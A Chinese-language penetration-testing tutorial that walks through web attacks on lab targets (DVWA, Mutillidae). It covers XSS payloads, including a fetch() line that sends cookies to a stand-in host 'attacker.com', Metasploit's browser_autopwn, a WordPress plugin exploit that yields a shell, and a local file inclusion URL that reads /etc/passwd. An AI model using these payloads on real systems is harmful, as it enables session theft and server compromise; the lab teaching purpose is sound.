Metasploit 渗透测试 - Web攻击
一、反射型XSS攻击
XSS攻击分为三种类型:反射型(Reflected XSS)、存储型(Stored XSS)和DOM型(DOM-based XSS)。XSS攻击利用web应用程序未验证用户输入,直接嵌入到网页中,攻击者可以通过注入脚本控制用户浏览器进行恶意操作。
进入DVWA靶场,选择XSS reflected,点击view source可查看页面源代码。
可以看到页面中存在一个输入框,用户输入的内容会直接显示在页面上,未进行任何过滤和转义。输入以下payload:
<script>alert('XSS攻击成功!');</script>
点击submit后,页面会弹出一个提示框,显示"XSS攻击成功!",说明攻击成功。
当解析输入的内容时,浏览器会执行其中的JavaScript代码,导致攻击者可以控制用户的浏览器进行恶意操作,如窃取cookie、劫持会话等。
二、存储型XSS攻击
进入Mutillidae靶场,选择A2 - Cross Site Scripting (XSS) - Add to your blog,在输入框中输入以下payload:
<script>document.write('Your cookie is: ' + document.cookie);</script>
点击submit后,页面会显示用户的cookie信息,说明攻击成功。
实际中,攻击者会将窃取到的cookie发送到自己的服务器,以便后续利用,例如:
fetch('http://attacker.com/steal?c=' + document.cookie)
而且所有访问该页面的用户都会受到影响,攻击范围更广。
三、Metasploit中的XSS攻击
使用 auxiliary/server/browser_autopwn 模块,将LHOST设置为攻击者的IP地址,SRVPORT设置为8080,exploit。
共发现19个模块,输入jobs命令查看正在运行的模块。
这里使用第14个模块,查看日志找到URL。
Windows存在漏洞的IE浏览器访问该URL后会被自动攻击。通过开发者模式可查看混淆过的脚本:下载恶意程序并隐蔽执行。
四、命令注入
访问www.exploit-db.com,找到wordpress插件zingiri的漏洞利用代码ajax_save_name.php。
下载后,使用命令:
php <xxx.php> <website> /wordpress/
成功获取到目标网站的shell权限,可以执行任意命令。
可以通过编写Metasploit模块来集成该php攻击代码,不过要学Ruby语言,之后再说。
五、文件包含漏洞
本地文件包含(LFI)
本地文件包含漏洞:攻击者可以通过构造特定的URL来包含服务器上的本地文件,从而泄露敏感信息。
在DVWA靶场中,选择File Inclusion,输入以下payload:
http://<IP_ADDRESS>/dvwa/vulnerabilities/fi/?page=/etc/passwd
成功读取敏感文件。
远程文件包含(RFI)
远程文件包含漏洞:攻击者可以通过构造特定的URL来包含远程服务器上的文件,从而执行恶意代码。